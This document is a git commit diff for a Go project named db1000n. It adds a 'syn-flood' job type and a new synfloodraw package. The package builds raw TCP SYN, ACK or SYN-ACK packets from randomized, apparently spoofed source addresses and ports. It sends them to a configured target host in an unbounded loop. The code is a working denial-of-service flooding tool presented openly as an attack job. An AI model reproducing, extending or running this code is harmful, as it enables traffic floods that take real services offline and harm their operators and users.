add syn-flood job

go.mod

@@ -2,4 +2,23 @@ module db1000n
 
 go 1.17
 
-require github.com/google/uuid v1.3.0
+require (
+	github.com/Arriven/db1000n/synfloodraw v0.0.0-00010101000000-000000000000
+	github.com/google/uuid v1.3.0
+)
+
+require (
+	github.com/google/gopacket v1.1.19 // indirect
+	github.com/mattn/go-runewidth v0.0.13 // indirect
+	github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect
+	github.com/rivo/uniseg v0.2.0 // indirect
+	github.com/schollz/progressbar/v3 v3.8.6 // indirect
+	github.com/stretchr/testify v1.7.0 // indirect
+	golang.org/x/crypto v0.0.0-20220214200702-86341886e292 // indirect
+	golang.org/x/net v0.0.0-20220225172249-27dd8689420f // indirect
+	golang.org/x/sys v0.0.0-20220209214540-3681064d5158 // indirect
+	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect
+	gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b // indirect
+)
+
+replace github.com/Arriven/db1000n/synfloodraw => ./synfloodraw

go.sum

@@ -1,2 +1,59 @@
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
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+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
+github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
 github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
 github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw=
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main.go

@@ -18,6 +18,7 @@ import (
 	"strings"
 	"time"
 
+	"github.com/Arriven/db1000n/synfloodraw"
 	"github.com/google/uuid"
 )
 
@@ -34,9 +35,10 @@ type JobConfig struct {
 }
 
 var jobs = map[string]job{
-	"http": httpJob,
-	"tcp":  tcpJob,
-	"udp":  udpJob,
+	"http":      httpJob,
+	"tcp":       tcpJob,
+	"udp":       udpJob,
+	"syn-flood": synFloodJob,
 }
 
 // Config comment for linter
@@ -205,6 +207,28 @@ func udpJob(ctx context.Context, args JobArgs) error {
 	return nil
 }
 
+func synFloodJob(ctx context.Context, args JobArgs) error {
+	type synFloodJobConfig struct {
+		BasicJobConfig
+		Host          string
+		Port          int
+		PayloadLength int
+		FloodType     string
+	}
+	var jobConfig synFloodJobConfig
+	err := json.Unmarshal(args, &jobConfig)
+	if err != nil {
+		return err
+	}
+
+	shouldStop := make(chan bool)
+	go func() {
+		<-ctx.Done()
+		shouldStop <- true
+	}()
+	return synfloodraw.StartFlooding(shouldStop, jobConfig.Host, jobConfig.Port, jobConfig.PayloadLength, jobConfig.FloodType)
+}
+
 func fetchConfig(configPath string) (*Config, error) {
 	var configBytes []byte
 	var err error

synfloodraw/constants.go

@@ -0,0 +1,9 @@
+package synfloodraw
+
+const (
+	IpRegex    = "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$"
+	DnsRegex   = "^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\\-]*[A-Za-z0-9])$"
+	TypeSyn    = "syn"
+	TypeAck    = "ack"
+	TypeSynAck = "synAck"
+)

synfloodraw/go.mod

@@ -0,0 +1,18 @@
+module synfloodraw
+
+go 1.17
+
+require (
+	github.com/google/gopacket v1.1.19
+	github.com/schollz/progressbar/v3 v3.8.6
+	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
+)
+
+require (
+	github.com/mattn/go-runewidth v0.0.13 // indirect
+	github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect
+	github.com/rivo/uniseg v0.2.0 // indirect
+	golang.org/x/crypto v0.0.0-20220131195533-30dcbda58838 // indirect
+	golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27 // indirect
+	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect
+)

synfloodraw/go.sum

@@ -0,0 +1,50 @@
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synfloodraw/synfloodraw.go

@@ -0,0 +1,143 @@
+package synfloodraw
+
+import (
+	"fmt"
+	"math/rand"
+	"net"
+	"time"
+
+	"github.com/google/gopacket"
+	"github.com/google/gopacket/layers"
+	"github.com/schollz/progressbar/v3"
+	"golang.org/x/net/ipv4"
+)
+
+func init() {
+	// initialize global pseudo random generator
+	rand.Seed(time.Now().Unix())
+}
+
+// StartFlooding does the heavy lifting, starts the flood
+func StartFlooding(stopChan chan bool, destinationHost string, destinationPort, payloadLength int, floodType string) error {
+	var (
+		ipHeader   *ipv4.Header
+		packetConn net.PacketConn
+		rawConn    *ipv4.RawConn
+		err        error
+	)
+
+	destinationHost, err = resolveHost(destinationHost)
+	if err != nil {
+		return err
+	}
+
+	description := fmt.Sprintf("Flood is in progress, target=%s:%d, floodType=%s, payloadLength=%d",
+		destinationHost, destinationPort, floodType, payloadLength)
+	bar := progressbar.DefaultBytes(-1, description)
+
+	payload := getRandomPayload(payloadLength)
+	srcIps := getIps()
+	srcPorts := getPorts()
+	macAddrs := getMacAddrs()
+
+	for {
+		select {
+		case <-stopChan:
+			return nil
+		default:
+			tcpPacket := buildTcpPacket(srcPorts[rand.Intn(len(srcPorts))], destinationPort, floodType)
+			ipPacket := buildIpPacket(srcIps[rand.Intn(len(srcIps))], destinationHost)
+			if err = tcpPacket.SetNetworkLayerForChecksum(ipPacket); err != nil {
+				return err
+			}
+
+			// Serialize.  Note:  we only serialize the TCP layer, because the
+			// socket we get with net.ListenPacket wraps our data in IPv4 packets
+			// already.  We do still need the IP layer to compute checksums
+			// correctly, though.
+			ipHeaderBuf := gopacket.NewSerializeBuffer()
+			opts := gopacket.SerializeOptions{
+				FixLengths:       true,
+				ComputeChecksums: true,
+			}
+
+			if err = ipPacket.SerializeTo(ipHeaderBuf, opts); err != nil {
+				return err
+			}
+
+			if ipHeader, err = ipv4.ParseHeader(ipHeaderBuf.Bytes()); err != nil {
+				return err
+			}
+
+			ethernetLayer := buildEthernetPacket(macAddrs[rand.Intn(len(macAddrs))], macAddrs[rand.Intn(len(macAddrs))])
+			tcpPayloadBuf := gopacket.NewSerializeBuffer()
+			pyl := gopacket.Payload(payload)
+
+			if err = gopacket.SerializeLayers(tcpPayloadBuf, opts, ethernetLayer, tcpPacket, pyl); err != nil {
+				return err
+			}
+
+			// XXX send packet
+			if packetConn, err = net.ListenPacket("ip4:tcp", "0.0.0.0"); err != nil {
+				return err
+			}
+
+			if rawConn, err = ipv4.NewRawConn(packetConn); err != nil {
+				return err
+			}
+
+			if err = rawConn.WriteTo(ipHeader, tcpPayloadBuf.Bytes(), nil); err != nil {
+				return err
+			}
+
+			if err = bar.Add(payloadLength); err != nil {
+				return err
+			}
+		}
+	}
+}
+
+// buildIpPacket generates a layers.IPv4 and returns it with source IP address and destination IP address
+func buildIpPacket(srcIpStr, dstIpStr string) *layers.IPv4 {
+	return &layers.IPv4{
+		SrcIP:    net.ParseIP(srcIpStr).To4(),
+		DstIP:    net.ParseIP(dstIpStr).To4(),
+		Version:  4,
+		Protocol: layers.IPProtocolTCP,
+	}
+}
+
+// buildTcpPacket generates a layers.TCP and returns it with source port and destination port
+func buildTcpPacket(srcPort, dstPort int, floodType string) *layers.TCP {
+	var isSyn, isAck bool
+	switch floodType {
+	case TypeSyn:
+		isSyn = true
+	case TypeAck:
+		isAck = true
+	case TypeSynAck:
+		isSyn = true
+		isAck = true
+	}
+
+	return &layers.TCP{
+		SrcPort: layers.TCPPort(srcPort),
+		DstPort: layers.TCPPort(dstPort),
+		//Window:  1505,
+		Window: 14600,
+		// Urgent:  0,
+		//Seq:     11050,
+		Seq: 1105024978,
+		// Ack:     0,
+		SYN: isSyn,
+		ACK: isAck,
+	}
+}
+
+// buildEthernetPacket generates an layers.Ethernet and returns it with source MAC address and destination MAC address
+func buildEthernetPacket(srcMac, dstMac []byte) *layers.Ethernet {
+	return &layers.Ethernet{
+		SrcMAC: net.HardwareAddr{srcMac[0], srcMac[1], srcMac[2], srcMac[3], srcMac[4], srcMac[5]},
+		DstMAC: net.HardwareAddr{dstMac[0], dstMac[1], dstMac[2], dstMac[3], dstMac[4], dstMac[5]},
+	}
+}